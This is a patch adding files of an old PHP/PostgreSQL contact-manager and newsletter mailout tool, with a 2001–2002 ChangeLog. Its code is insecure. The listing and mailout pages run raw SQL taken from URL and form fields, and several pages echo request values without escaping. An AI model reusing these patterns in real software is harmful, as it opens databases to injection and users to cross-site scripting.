+When form is complete, click on the "Submit Query" button. The database will
+be updated, and you will be directed back to the "List Contacts" page.
+</p>
+
+<p>
+<b>Submit Query</b>
+</p>
+<p>When you have made the changes you want to the Contact,
+you can click "Submit Query." This will update the information about the
+Contact in the database.
+</p>
+<?
+ break;
+
+}
+?>
+<BR CLEAR=ALL>
+<CENTER><A HREF="" onClick = "window.close('self');"><IMG SRC="../../help/closewindow.gif" border=0></A></CENTER>
+</BODY>
+</HTML>
--- /dev/null
+<?php
+require_once("../../setup.phtml");
+require_once("contact_setup.inc");
+session_start();
+/*
+phpinfo();
+die();
+error_reporting(E_ALL);
+*/
+error_reporting();
+if(isset($mailout)){
+ session_unregister("mailout");
+}
+if(isset($sess_vars)){
+ extract($sess_vars);
+ session_unregister("sess_vars");
+}
+//$Id: index.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+
+$dbd = db_connect();
+
+$qs = "SELECT count(*) as total
+ FROM ".TABLE;
+if(TABLE==CUSTOMER_TABLE)
+ $qs .= " WHERE fname != '-Guest-'";
+
+$res = db_exec($dbd,$qs);
+$total = pg_result($res,0,'total');
+top("Contact Database","help/contact.phtml?key=search","SteveContactsDatabase_1.0");
+html_nav_table($nav,$navWidth);
+
+?>
+<table bgcolor="#e0e0e0" align=center width=500 cellspacing=0 cellpadding=4
+border=0>
+ <tr>
+ <td colspan=4>
+ There
+ <?
+ if($total < 1 )
+ echo " No records";
+ elseif($total > 1)
+ echo "are $total contacts";
+ else
+ echo "is $total contact";
+ ?> in the database.
+ </td>
+ </tr>
+ <tr>
+ <th bgcolor="#2f4f4f" colspan=4 class="theader">
+ Search:
+ </th>
+ </tr>
+ <tr>
+ <td colspan=4>
+ <b>Search records for:</b><br>
+ </td>
+ </tr>
+ <tr>
+ <td colspan=4>
+ <form name="search" action="query_contact.phtml" method="POST" onSubmit="
+ var msg = '';
+ var errors = '';
+ var ping = 0;
+ var all = 0;
+ this.fvalue.value = '';
+ this.rfvalue.value = '';
+ this.rdvalue.value = '';
+
+ if(this.search.value == '') {
+ all++;
+ }
+
+ for(var i = 0;i<4;i++) {
+ if(this.search_type.options[i].selected){
+ ping++;
+ }
+ }
+
+ if(all == 0) {
+ if(ping == 0) {
+ errors += '-You must select a search type\n';
+ }
+ }
+
+ for(var i=0;i<<?echo count($fields)?>;i++) {
+ if(this.ifields.options[i].selected) {
+ this.fvalue.value += ':' + this.ifields.options[i].value;
+ }
+ }
+
+ for(var i=0;i<<?echo count($fields)?>;i++) {
+ if(this.return_fields.options[i].selected) {
+ this.rfvalue.value += ':' + this.return_fields.options[i].value;
+ }
+ }
+
+ for(var i=0;i<1;i++) {
+ if(this.dates.options[i].selected) {
+ this.rdvalue.value += ':' + this.dates.options[i].value;
+ }
+ }
+
+ if(all == 0) {
+ if(this.fvalue.value == '') {
+ errors += '-You must select at least one field to search in\n';
+ }
+ }
+
+ if(this.rfvalue.value == '') {
+ errors += '-You must select at least one field for output\n';
+ }
+
+ if(all == 1) {
+ if(errors == '') {
+ return(true);
+ }
+ }
+
+ if(errors == '') {
+ return(true);
+ }
+ else {
+ msg += '_______________________________________\n\n';
+ msg += 'The form was not submitted please check\n';
+ msg += 'the following and resubmit\n\n';
+ msg += errors + '\n\n';
+ msg += '_______________________________________\n\n';
+
+ alert(msg);
+ return(false);
+ }
+ ">
+ <input name="search" value="<?echo $search?>" size=40>
+ <input type="submit" name="Submit Query">
+ </td>
+ </tr>
+ <tr>
+ <td class¯"small" valign=top>
+ <b>In Fields:</b><br>
+ <select name="ifields" multiple size=8>
+ <?foreach($fields as $key2=>$value2) {?>
+ <option value="<?echo $key2?>" <?=(strstr($fvalue,$key2))?"selected":""?>><?echo $value2?>
+ <?}?>
+ </select>
+ <br>
+ <input type="radio" name="a" onClick="
+ for(var i=0;i<<?echo count($fields)?>;i++) {
+ this.form.ifields.options[i].selected=1;
+ }
+ ">All
+ <input type="radio" name="a" onClick="
+ for(var i=0;i<<?echo count($fields)?>;i++) {
+ this.form.ifields.options[i].selected=0;
+ }
+ ">None
+ </td>
+ <td valign=top class="small" nowrap>
+ <b>Search Where:</b><br>
+ <select name="alter">
+ <option value="0" <?=($alter=="0")?"selected":""?>>Anywhere
+ <option value="1" <?=($alter=="1")?"selected":""?>>Begining
+ <option value="2" <?=($alter=="2")?"selected":""?>>Ending
+ </select><br>
+ <input type="hidden" name="fvalue">
+ <br>
+ <b>Mail Ok</b><br>
+<?
+ $mail = MAILOK;
+?>
+ <select name="<?=$mail?>">
+ <option value="n" <?=($$mail=="n")?"selected":""?>>Don't Care
+ <option value="1" <?=($$mail=="1")?"selected":""?>>Yes
+ <option value="0" <?=($$mail=="0")?"selected":""?>>No
+ </select>
+<?
+if(!is_array($int_array))
+ {
+ echo '</td><td valign=top width=25%>';
+ }
+?>
+ <b>Search Type:</b><br>
+ <select name="search_type" size=4>
+ <option value="1" <?=(!isset($search_type) || $search_type=="1")?"selected":""?>>Exact string
+ <option value="2" <?=($search_type=="2")?"selected":""?>>And
+ <option value="3" <?=($search_type=="3")?"selected":""?>>Or
+ <option value="4" <?=($search_type=="4")?"selected":""?>>Not
+ </select>
+<?
+if(is_array($int_array))
+ {
+ echo '</td><td valign=top width=25%>';
+ echo '<b>Interest:</b><br><select name="interest[]" multiple>';
+ foreach($int_array as $ikey=>$ivalue)
+ {
+ echo '<option value="'.$ikey.'">'.substr($ivalue,0,20).'...';
+ }
+ echo '</select>';
+ }
+?>
+ </td>
+ <td valign=top class=small width=25%>
+ <b>Case Sensitivity:</b><br>
+ <select name="case">
+ <option value="ON" <?=($case == "ON")?"selected":""?>>On
+ <option value="OFF" <?=(!isset($case) || $case == "OFF")?"selected":""?>>Off
+ </select><br>
+ </td>
+ </tr>
+ </table>
+
+<table bgcolor="#e0e0e0" align=center width=500 cellspacing=0 cellpadding=4
+border=0>
+ <tr>
+ <th bgcolor="#2f4f4f" colspan=4 class="theader">
+ Output of records:
+ </th>
+ </tr>
+ <tr>
+ <td class="small" valign=top>
+ <b>Output Fields:</b><br>
+ <select name="return_fields" multiple size=8>
+ <?foreach($fields as $key2=>$value2) {?>
+ <option value="<?echo $key2?>" <?=(strstr($rfvalue,$key2))?"selected":""?>><?echo $value2?>
+ <?}?>
+ </select>
+ <br>
+ <input type="hidden" name="rfvalue">
+ <input type="radio" name="a" onClick="
+ for(var i=0;i<<?echo count($fields)?>;i++) {
+ this.form.return_fields.options[i].selected=1;
+ }
+ for(var i=0;i<<?echo ($p_date_from)?"3":"1";?>;i++) {
+ this.form.dates.options[i].selected=1;
+ }
+ ">All
+ <input type="radio" name="a" onClick="
+ for(var i=0;i<<?echo count($fields)?>;i++) {
+ this.form.return_fields.options[i].selected=0;
+ }
+ for(var i=0;i<<?echo ($p_date_from)?"3":"1";?>;i++) {
+ this.form.dates.options[i].selected=0;
+ }
+ ">None
+ </td>
+ <td class="small" valign=top>
+ <input type="hidden" name="rdvalue" value="">
+ <b>Output fields (Dates):</b>
+ <select name="dates" multiple size=3>
+ <option value="create_date" <?=(strstr($dates,"create_date"))?"selected":""?>>Created Date
+ <?if($p_date_from){?>
+ <option value="purch_date" <?=(strstr($dates,"purch_date"))?"selected":""?>>Last Purchase Date
+ <?}
+ if($a_date_from){?>
+ <option value="access_date" <?=(strstr($dates,"access_date"))?"selected":""?>>Last Access Date
+ <?}?>
+ </select>
+ </td>
+ <td class="small" valign=top width=25%>
+ <b>File output:</b><br>
+ <select name="file" size=4>
+ <option value="" <?=(!isset($file) || $file == "")?"selected":""?>>No File
+ <option value="zip" <?=($file=="zip")?"selected":""?>>zip file
+ <option value="gz" <?=($file=="gz")?"selected":""?>>tar.gz(tar ball)
+ <option value="rpt" <?=($file=="rpt")?"selected":""?>>text file
+ </select>
+ </td>
+ <td valign=top class=small width=25%>
+ <b>Delimiter:</b><br>
+ <select name="delimiter" size=4>
+ <option value="tab" <?=($delimiter=="tab")?"selected":""?>>TAB
+ <option value="comma" <?=($delimiter=="comma")?"selected":""?>>Comma
+ <option value="csv" <?=($delimiter=="csv")?"selected":""?>>CSV
+ <option value="pipe" <?=($delimiter=="pipe")?"selected":""?>>Pipe
+ </select>
+ </td>
+ </tr>
+ <tr>
+ <td colspan="4" align="center">
+ <input type="submit" name="Submit Query">
+ </td>
+ </tr>
+</table>
+<table bgcolor="#e0e0e0" align=center width=500 cellspacing=0 cellpadding=4
+border=0>
+ <tr>
+ <th bgcolor="#2f4f4f" colspan=2 class="theader">
+ Search Dates Ranges
+ </th>
+ </tr>
+ <tr>
+ <th bgcolor="#191970" class="theader">
+ From
+ </th>
+ <th bgcolor="#191970" class="theader">
+ To
+ </th>
+ </tr>
+
+ <?if($p_date_from){?>
+ <tr>
+ <th bgcolor="#2f4f4f" colspan=2 class="theader">
+ Last Purchace Date
+ </th>
+ </tr>
+ <tr>
+ <td align=center> <?echo $p_date_from?> </td>
+ <td align=center> <?echo $p_date_to?> </td>
+ </tr>
+ <?}?>
+ <tr>
+ <th bgcolor="#2f4f4f" colspan=2 class="theader">
+ Create Date
+ </th>
+ </tr>
+ <tr>
+ <td align=center> <?echo $c_date_from?> </td>
+ <td align=center> <?echo $c_date_to?> </td>
+ </tr>
+ <?if($a_date_from){?>
+ <tr>
+ <th bgcolor="#2f4f4f" colspan=2 class="theader">
+ Last Access Date
+ </th>
+ </tr>
+ <tr>
+ <td align=center> <?echo $a_date_from?> </td>
+ <td align=center> <?echo $a_date_to?> </td>
+ </tr>
+ <?}?>
+ </table>
+<?
+footer();
+?>
--- /dev/null
+<?php
+//$Id: list_contact.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+if(!$start)
+ $start = 0;
+
+if($postquery)
+ $query_string = $postquery;
+if(!$dbd = db_connect())
+ html_error(DB_ERROR_MSG."no connection",1);
+
+$checkqs = "SELECT count(*) as contacts
+ FROM ".TABLE;
+
+if(!$checkres = db_exec($dbd,$checkqs))
+ html_error(DB_ERROR_MSG.__LINE__.$checkqs,1);
+
+$numcontacts = pg_result($checkres,0,"contacts");
+if($numcontacts == 0)
+ html_error("There are no contacts in the database",1);
+
+if(!isset($back) && !isset($query_string)) {
+ $query = "SELECT ".ID.",*
+ FROM ".TABLE."
+ WHERE ".WHERE."
+ ORDER BY lname,fname";
+
+ $query = addslashes($query);
+ $qs = "SELECT id
+ FROM query_db
+ WHERE query_name = '(current)'";
+
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+
+ if(db_numrows($res)==0) {
+ $qs = "INSERT
+ INTO query_db
+ (query,query_name)
+ VALUES ('$query','(current)')";
+ }
+ else {
+ $id = pg_result($res,0,"id");
+ $qs = "UPDATE query_db
+ SET query = '$query',
+ file = '',
+ delimiter = ''
+ WHERE id = $id";
+ }
+ if(!$res = db_exec($dbd,$qs))
+ html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+ unset($qs);
+}
+
+if($delimiter == "csv")
+ $csv = TRUE;
+
+if(isset($query_string)) {
+ $query_string = strtr($query_string,"\n"," ");
+ $query_string = strtr($query_string,"\t"," ");
+ $query_string = stripslashes($query_string);
+ $qs = $query_string;
+}
+else {
+ $queryqs = "SELECT query
+ FROM query_db
+ WHERE query_name LIKE '(current)'";
+
+ if(!$queryres = db_exec($dbd,$queryqs)) {
+ $qs = "SELECT ".ID.",*
+ FROM ".TABLE."
+ WHERE ".WHERE."
+ ORDER BY lname,fname";
+ }
+ else {
+ //print_r($queryrow);
+ $qs = pg_result($queryres,0,"query");;
+ }
+}
+
+top("List Contacts","help/contact.phtml?key=List");
+?>
+<script src="wm.js"></script>
+<script src="msg.js"></script>
+<?
+html_nav_table($nav,$navWidth);
+if(NEWSLETTER){
+ if(NEWSLETTER_TYPE == "TEXT"){
+ ?>
+ <?
+ }
+ elseif(NEWSLETTER_TYPE == "HTML"){
+ ?>
+ <?
+ }
+$mquery = "SELECT subject FROM news_response where id = 1";
+$mres = db_exec($dbd,$mquery);
+$mailout = pg_result($mres,0,'subject');
+?>
+<script lang="javascript">
+var remind;
+remind = 'This will mailout the Newsletter\n';
+remind += '<?echo $mailout?>\n';
+</script>
+ <tr>
+ <th colspan=2>
+<form action="mailout.phtml" method="POST" onSubmit="
+return(confirm(remind));
+">
+<input type="hidden" name="postmail" value="<?echo $qs?>">
+<input type="submit" value="Mail Out the Newsletter">
+</form>
+ </th>
+</tr>
+<?}?>
+<tr><td>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+<tr>
+ <th bgcolor="#2f4f4f" class="theader"> Functions: </th>
+ <th bgcolor="#2f4f4f" class="theader"> Contact Info </th>
+</tr>
+<?
+$totalqs = substr_replace($qs," count(*) as total FROM ",strpos($qs,"SELECT")+7,strpos($qs,"FROM")-3);
+if(strpos($totalqs,"ORDER BY")!=0)
+ $totalqs = substr_replace($totalqs,"",strpos($totalqs,"ORDER"));
+if(!$totalres = db_exec($dbd,$totalqs))
+ html_error(DB_ERROR_MSG.__LINE__.$totalqs,1);
+if(count($totalres)==0)
+ $totalnum = 0;
+else
+ $totalnum = pg_result($totalres,0,"total");
+$qs .= " LIMIT ".ENTRIES_PER_PAGE." OFFSET ".$start;
+$res = db_exec($dbd,$qs);
+?>
+<tr>
+ <td colspan="2"><?echo $totalnum?>Result(s)</td>
+</tr>
+<?
+if(!$res) html_error(DB_ERROR_MSG.__LINE__.$qs,1);
+// What page are you on?
+if($start==0)
+ $page == 1;
+else
+ $page = ($start / ENTRIES_PER_PAGE) + 1;
+$totalpages = floor($totalnum / ENTRIES_PER_PAGE);
+$totalpages++;
+
+$result_string = "";
+$num = db_numrows($res);
+if(!$start)
+ $start = 0;
+$begin = 0;
+$ending = $num;
+if($totalnum > ENTRIES_PER_PAGE && ( $page != $totalpages ) )
+ {
+ $end = ENTRIES_PER_PAGE + $start;
+ }
+else
+ {
+ $end = $totalnum;
+ }
+$last = $start - ENTRIES_PER_PAGE;
+if(!$query_string)
+ {
+ $query_string = $qs;
+ $query_string = str_replace(" LIMIT ".ENTRIES_PER_PAGE." OFFSET ".$start,"",$query_string);
+ }
+$stuff = "query_string=".urlencode($query_string)."&file=".$file."&delimiter=".$delimiter."&csv=".$csv;
+if(($start - ENTRIES_PER_PAGE) < 0)
+ $prev = "PREV";
+else
+ $prev = "<a href=\"list_contact.phtml?".$stuff."&start=".$last."\">PREV</a>";
+if($end < $totalnum)
+ $next = "<a href=\"list_contact.phtml?".$stuff."&start=".$end."\">NEXT</a>";
+else
+ $next = "NEXT";
+ ?>
+<tr>
+ <td colspan="2">
+ <?
+ if($num!=0)
+ echo $prev."-".($start+1)."-to-".$end."-".$next;
+ ?>
+ </td>
+</tr>
+<?
+if(count($res)>0)
+ {
+ for($i=$begin;$i<$ending;$i++)
+ {
+ if(!$row = db_fetch_array($res,$i,PGSQL_ASSOC))
+ html_error(DB_ERROR_MSG.__LINE__,1);;
+ for($b=1;$b<count($row);$b++) {
+ $fields[$b] = pg_fieldname($res,$b);
+ if($csv)
+ $result_string .= "\"".$row[$fields[$b]]."\"";
+ else
+ $result_string .= $row[$fields[$b]];
+ if($b != count($row)-1)
+ $result_string .= $delimiter;
+ if($b == count($row)-1)
+ $result_string .= "\n";
+ }
+ if($i%2==0) {
+ $background = " bgcolor=\"#bfbfbf\"";
+ }
+ else {
+ $background = " bgcolor=\"#e0e0e0\"";
+ }
+ ?>
+ <tr <?echo $background;
+ $id = ID;
+ ?>>
+ <td nowrap><a href="edit_contact.phtml?id=<?echo $row[$id]?>">
+ [Edit]</a>
+ <a href="update_contact.phtml?Command=Delete&id=<?echo $row[$id]?>" onClick="
+ if(confirm('This will delete this record Are you sure?')) {
+ return(true);
+ }else {
+ return(false);
+ }
+ ">
+ [Delete]</a>
+ </td>
+ <td align=left>
+ <?
+ foreach($fields as $key) {
+ if($key != "id" && $key != "cust_id"
+ && $key != "userid" && $key != "usernum"
+ && $key != "usergroup" && $key != "passwd")
+ echo $row[$key]." ";
+ }
+ ?>
+ </td>
+ </tr>
+ <?
+ }
+ }
+ ?>
+ </table>
+ <?
+html_nav_table($nav,5);
+if(isset($file) && $file != "" && db_numrows($res) > 0) {
+?>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+<tr>
+ <th bgcolor="#2f4f4f" class="theader" colspan=2>Download files</th>
+</tr>
+<tr>
+ <td><form action="download.phtml">
+ <input type="hidden" name="query_string" value="<?echo $query_string?>">
+ <input type="hidden" name="file" value="<?echo $file?>">
+ <input type="hidden" name="delimiter" value="<?echo $delimiter?>">
+ <input type="hidden" name="csv" value="<?echo $csv?>">
+ <input type="submit" value="Download Report">
+ </form></td>
+ <td align=left width=80%> </td>
+</tr>
+</table>
+<?
+}
+footer();
+?>
--- /dev/null
+<?php
+//$Id: list_query.phtml,v 1.1.1.1 2006/07/13 13:53:50 matrix Exp $
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+top("Query DB","");
+
+html_nav_table($nav,$navWidth);
+?>
+<script src="<?echo URL_BASE."admin/wm.js"?>"></script>
+<script src="<?echo URL_BASE."admin/msg.js"?>"></script>
+<table bgcolor="#e0e0e0" width=500 cellpadding=4 cellspacing=0 border=0>
+<tr bgcolor="#2f4f4f">
+ <th class="theader">
+ Functions:
+ </th>
+ <th class="theader">
+ Queries in database
+ </th>
+</tr>
+<?
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,0);
+
+$qs = "SELECT id,query_name
+ FROM query_db";
+
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,0);
+
+for($i=0;$i<db_numrows($res);$i++) {
+ $row = db_fetch_array($res,$i,PGSQL_ASSOC);
+
+?>
+ <script lang="javascript">
+ var o<?echo $i?> = new Object();
+ o<?echo $i?>.msg = 'You are about to Permanently Delete this Query';
+ o<?echo $i?>.url = 'del_query.phtml?id=<?echo $row[id]?>';
+ o<?echo $i?>.popup = '1';
+ o<?echo $i?>.popup.name = "delwin";
+ o<?echo $i?>.width = 630;
+ o<?echo $i?>.height = 300;
+ </script>
+<tr>
+ <td>
+ <a href="query_contact.phtml?query_no=<?echo $row[id]?>">[Recall]</a>
+ <?if($row[query_name] != "(current)") {?>
+ <a href="del_query.phtml?id=<?echo $row[id]?>" onClick="
+ glm_confirm(o<?echo $i?>);
+ return(false);
+ ">[Delete]</a>
+ <?}?>
+ </td>
+ <td><b><?echo $row[query_name]?></b></td>
+</tr>
+<?}?>
+</table>
+<?
+footer();
+?>
--- /dev/null
+<html>
+<head>
+<title>Mailing out The Newsletter (Retail)</title>
+</head>
+<body bgcolor=white>
+<?php
+include("../../setup.phtml");
+include("contact_setup.inc");
+
+// File names for SPAMerizer
+$Filename = tempnam( "/var/spool/SPAMerizer", "MICHW" );
+unlink($Filename);
+
+$HeadFilename = $Filename.".head";
+$BodyFilename = $Filename.".body";
+$ToFilename = $Filename.".to";
+$ReadyFilename = $Filename.".ready";
+
+if(!$dbd = db_connect(CONN_STR))
+ html_error(DB_ERROR_MSG,1);
+$postmail = stripslashes($postmail);
+$postmail = eregi_replace("SELECT.*FROM","SELECT email INTO TEMPORARY temp_table FROM",$postmail);
+$postmail = eregi_replace("ORDER BY.*","",$postmail);
+$postmail .= " AND ".MAILOK." = 't'";
+$postmail .= ";CREATE INDEX email_indx on temp_table (email);";
+
+if(!$mailres = db_exec($dbd,$postmail))
+ html_error(DB_ERROR_MSG.__LINE__.$postmail,1);
+
+$mailqs = "SELECT
+ DISTINCT ON (email) email
+ FROM temp_table
+ GROUP BY email;";
+flush();
+if(!$mailres = db_exec($dbd,$mailqs))
+ html_error(DB_ERROR_MSG.__LINE__.$mailqs,1);
+
+if(db_numrows($mailres)>0)
+ {
+ for($a=0;$a<db_numrows($mailres);$a++)
+ {
+ $mvdata = db_fetch_array($mailres,$a,PGSQL_ASSOC);
+ $email = trim($mvdata["email"]);
+ if($email)
+ {
+ $mail[] = $email;
+ }
+ }
+ }
+if(is_array($mail) && count($mail)>0) {
+ // write the temp.to file
+ $mail = implode("\n",$mail);
+ $fp = fopen($ToFilename,"w");
+ fputs($fp,$mail,strlen($mail));
+ fclose($fp);
+}
+else {
+ $mail = "";
+}
+
+
+if($mail != "") {
+ // I am changing this to a two part mime type email
+ // html and text
+ // using class_html
+ $responseqs = "SELECT *
+ FROM news_response
+ WHERE id = 1";
+ if(!$resres = db_exec($dbd,$responseqs))
+ html_error(DB_ERROR_MSG.$responseqs,0);
+
+ $responserow = db_fetch_array($resres,0,PGSQL_ASSOC);
+ /*
+ ob_start();
+ require(BASE."bottomlinks.inc");
+ $data['bottomlinks'] = ob_get_contents();
+ ob_end_clean();
+ */
+
+ $subject = trim($responserow['subject']);
+ $data['subject'] = &$subject;
+ $message = $responserow['response'];
+ // html part of email
+ //$data['response'] = stripslashes(nl2br($message));
+ $message = str_replace("IMAGE1","<!-- image -->",$message);
+ $message = str_replace("IMAGE2","<!-- image2 -->",$message);
+ $message = str_replace("IMAGE3","<!-- image3 -->",$message);
+ $data['response'] = $message;
+ $data['image'] = add_image($responserow["image"],"right");
+ $data['image2'] = add_image($responserow["image2"],"left");
+ $data['image3'] = add_image($responserow["image3"],"right");
+ $data['url'] = URL_BASE;
+
+ $html = explode_template(NEWSLETTER_PROTOTYPE,$data);
+ // text part of email
+ $text = strip_tags($message);
+ $text .= "\n\n-------------------------------------------------------------------\n";
+ $text .= "You are receiving this message because you have expressed an interest in\n";
+ $text .= "receiving specials and information from ".SITENAME.". If you do not\n";
+ $text .= "wish to receive future items of this nature, please reply to this e-mail\n";
+ $text .= "with the word \"CANCEL\" on the subject line. You will then be removed \n";
+ $text .= "from future mailings.\n";
+ $text .= "-------------------------------------------------------------------\n";
+
+ // Write the temp.header file
+ $glm_headers = "NotifyAddr: ".OWNER_EMAIL."\n"
+ . "ProcessName: ".SITENAME."\n"
+ . "From: ".OWNER_EMAIL."\n"
+ . "ReportInterval: 2\n"
+ . "BlockSive: 20\n"
+ . "ProductionMode: ".PRODUCTION_MODE."\n";
+
+ $fp = fopen($HeadFilename,"w");
+ fputs($fp,$glm_headers,strlen($glm_headers));
+ fclose($fp);
+
+ $headers = "From: ".OWNER_EMAIL."\n".
+ "Return-To: ".OWNER_EMAIL."\n".
+ "To: ".OWNER_EMAIL."\n".
+ "Subject: $subject\n".
+ "Reply-to: ".REPLY_TO."\n".
+ "Mime-Version: 1.0\n".
+ "Content-Type: multipart/alternative; boundary=ContentBoundry\n\n";
+ $fp = fopen($BodyFilename,"w");
+ if(HTML_EMAIL=="ON"){
+ $bodyhtml = '--ContentBoundry
+Content-Type: text/plain; charset="US-ASCII"
+'.$text.'
+--ContentBoundry
+Content-Type: text/html; charset="US-ASCII"
+
+'.$html.'
+
+--ContentBoundry--';
+ fputs($fp,$headers,strlen($headers));
+ fputs($fp,$bodyhtml,strlen($bodyhtml));
+ }
+ else{
+ fputs($fp,$headers,strlen($headers));
+ fputs($fp,$text,strlen($text));
+ }
+ fclose($fp);
+ // write the temp.ready file and your done!
+ $fp = fopen($ReadyFilename,"w");
+ fclose($fp);
+?>
+<table>
+<tr>
+ <td>Mail the current <?echo $subject?></td>
+</tr>
+<tr>
+ <td><?echo (PRODUCTION_MODE == "ON")?"ProductionMode is ON, Mail is sent.":"ProductionMode is OFF, Mail is not sent."?></td>
+</tr>
+<tr>
+ <td><?echo (HTML_EMAIL == "ON")?"HTML Email is ON, Mail is html encoded.":"HTML Email is OFF, Mail is plain text."?></td>
+</tr>
+<tr>
+ <td>You will recieve notification on the mailing task by email at <?=OWNER_EMAIL?>.</td>
+</tr>
+</table>
+<?
+ }
+ else {
+?>
+<table width=500 bgcolor="#e0e0e0">
+<tr bgcolor="#2f4f4f">
+ <th><font color=white>Newsletter Not Sent!</th>
+ </tr>
+</table>
+<?
+ }
+
+?>
+</body>
+</html>
--- /dev/null
+body {
+ background-color: #FFFFFF;
+}
+
+.navlink {
+ font-size: 80%;
+ font-family: arial;
+}
+
+td {
+ font-size: 80%;
+ font-family: arial,helvetica;
+}
+
+.theader {
+ font-size: 120%;
+ font-family: arial,helvetica;
+ color: #FFFFFF;
+}
+
+.theadertd {
+ background-color: #000080;
+}
--- /dev/null
+function glm_confirm(o) {
+ var p = o.msg.split("\n");
+ var k = 0;
+ for(i = 0;i < p.length;i++) {
+ if(k > p[i].length)
+ continue;
+ else
+ k = p[i].length;
+ }
+
+ var bound = "";
+ for(i = 0; i < k; i++) {
+ bound = bound+'_';
+ }
+ var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+ if(confirm(str)) {
+ if(o.popup == '1') {
+ var nw = new Object();
+ nw.url = o.url;
+ nw.name = o.popup.name;
+ nw.width = o.width;
+ nw.height = o.height;
+ glm_open(nw);
+ }
+ else {
+ location.replace(o.url);
+ }
+ }
+}
--- /dev/null
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
+<html>
+<head>
+<body style="margin: 0; padding: 0;">
+<div style="background: white; text-align: center;">
+ <div style="background: #BECFE4; width: 548px; margin: 0 auto; text-align: left;">
+ <div style="background: url(<!-- url -->assets/news/header-bg.jpg); width: 548px; height: 47px;">
+ <h1 style="color: white; font-family: sans-serif; font-size: 28px; padding: 12px 0 0 300px">The Lindy</h1>
+ </div>
+ <div style="padding: 20px; font-size: 12px; font-family: arial, sans-serif;">
+ <!-- response -->
+ <div style="margin-top: 20px; font-size: 11px;"><!-- bailout --></div>
+ </div>
+ <br clear="all">
+ </div>
+</div>
+</body>
+</html>
--- /dev/null
+2002-05-07 13:47 matrix
+
+ * contact_setup.inc, del_query.phtml, download.phtml,
+ edit_contact.phtml, form.js, index.phtml, list_contact.phtml,
+ list_query.phtml, mailout.phtml, main.css, msg.js,
+ query_contact.phtml, query_db.phtml, query_save.phtml,
+ update_contact.phtml, verify.js, wm.js, help/contact.phtml,
+ notes/ChangeLog, notes/Contact, notes/adm2.sql, notes/contact.sql,
+ notes/guest.sql: "version 2.4"
+
+2002-05-07 13:45 matrix
+
+ * contact.sql, contact_setup.inc, edit_contact.phtml,
+ list_contact.phtml, update_contact.phtml, notes/ChangeLog,
+ notes/contact.sql, notes/Contact: adding ChangeLog file and moving
+ sql file into notes. I have also set the insert part of
+ update_contact.phtml to use nextval to generate the PRIMEKEY so
+ this will work with previous version of th shop which don't have
+ the default set on cust_id
+
+2002-05-07 11:14 matrix
+
+ * contact.sql, contact_setup.inc, del_query.phtml, download.phtml,
+ edit_contact.phtml, form.js, index.phtml, list_contact.phtml,
+ list_query.phtml, mailout.phtml, main.css, msg.js,
+ query_contact.phtml, query_db.phtml, query_save.phtml,
+ update_contact.phtml, verify.js, wm.js, help/contact.phtml,
+ notes/adm2.sql, notes/guest.sql: testing out both contact and
+ customer table use
+
+2002-05-07 10:08 matrix
+
+ * form.js, msg.js, verify.js, wm.js: "putting javascript files in
+ dir"
+
+2002-05-07 09:57 matrix
+
+ * index.phtml: "all versions now 2.0"
+
+2002-05-07 09:57 matrix
+
+ * index.phtml: new file
+
+2002-05-07 09:44 matrix
+
+ * admin_constants.inc, contact.phtml, contact.sql,
+ contact_setup.inc, contact_test.sql, del_query.phtml,
+ download.phtml, edit_contact.phtml, index.html, list_contact.phtml,
+ list_cust_form.phtml, list_customers.phtml, list_query.phtml,
+ mailout.phtml, main.css, path.phtml, query_contact.phtml,
+ query_db.phtml, query_save.phtml, shopping_cart_setup.inc,
+ update_contact.phtml, help/contact.phtml, notes/adm2.sql,
+ notes/guest.sql: "merging final changes into one app"
+
+2002-03-14 11:23 matrix
+
+ * download.phtml: removed offending dot
+
+2002-03-12 10:32 matrix
+
+ * contact_setup.inc: file contact_setup.inc was initially added on
+ branch glm-Contact-2-0.
+
+2002-03-12 10:32 matrix
+
+ * download.phtml: file download.phtml was initially added on branch
+ glm-Contact-2-0.
+
+2002-03-12 10:32 matrix
+
+ * contact.phtml, contact_setup.inc, del_query.phtml,
+ download.phtml, edit_contact.phtml, list_contact.phtml,
+ list_query.phtml, mailout.phtml, query_contact.phtml,
+ query_db.phtml, update_contact.phtml: make it customer and ocntact
+
+2002-03-12 09:36 matrix
+
+ * list_cust_form.phtml, list_customers.phtml, path.phtml,
+ shopping_cart_setup.inc: updates
+
+2002-03-12 09:34 matrix
+
+ * contact.phtml, del_query.phtml, edit_contact.phtml,
+ list_contact.phtml, list_query.phtml, query_contact.phtml,
+ query_db.phtml, update_contact.phtml: prepare for merging
+
+2001-12-17 10:13 matrix
+
+ * list_contact.phtml, mailout.phtml: added ID
+
+2001-12-17 10:02 matrix
+
+ * list_contact.phtml, mailout.phtml: mail can't be sent by url
+
+2001-11-27 16:50 matrix
+
+ * contact.phtml, del_query.phtml, edit_contact.phtml,
+ list_contact.phtml, list_query.phtml, query_contact.phtml,
+ query_db.phtml, query_save.phtml, update_contact.phtml: needed to
+ update adding contacts to customer table as there is no default
+ value for cust_id
+
+2001-11-21 14:07 matrix
+
+ * contact.phtml, del_query.phtml, edit_contact.phtml,
+ list_contact.phtml, list_query.phtml, path.phtml,
+ query_contact.phtml, query_db.phtml, update_contact.phtml: using
+ setup.phtml not path.phtml
+
+2001-11-07 14:30 matrix
+
+ * list_contact.phtml: removed echo
+
+2001-11-07 14:27 matrix
+
+ * contact.phtml, del_query.phtml, edit_contact.phtml,
+ list_query.phtml, mailout.phtml, path.phtml, query_contact.phtml,
+ query_db.phtml, update_contact.phtml: updatng now using setup.phtml
+
+2001-11-07 14:24 matrix
+
+ * list_contact.phtml: correcting email out code
+
+2001-10-15 15:19 matrix
+
+ * contact.phtml, query_contact.phtml: adding date search
+
+2001-10-11 14:44 matrix
+
+ * list_contact.phtml: updating
+
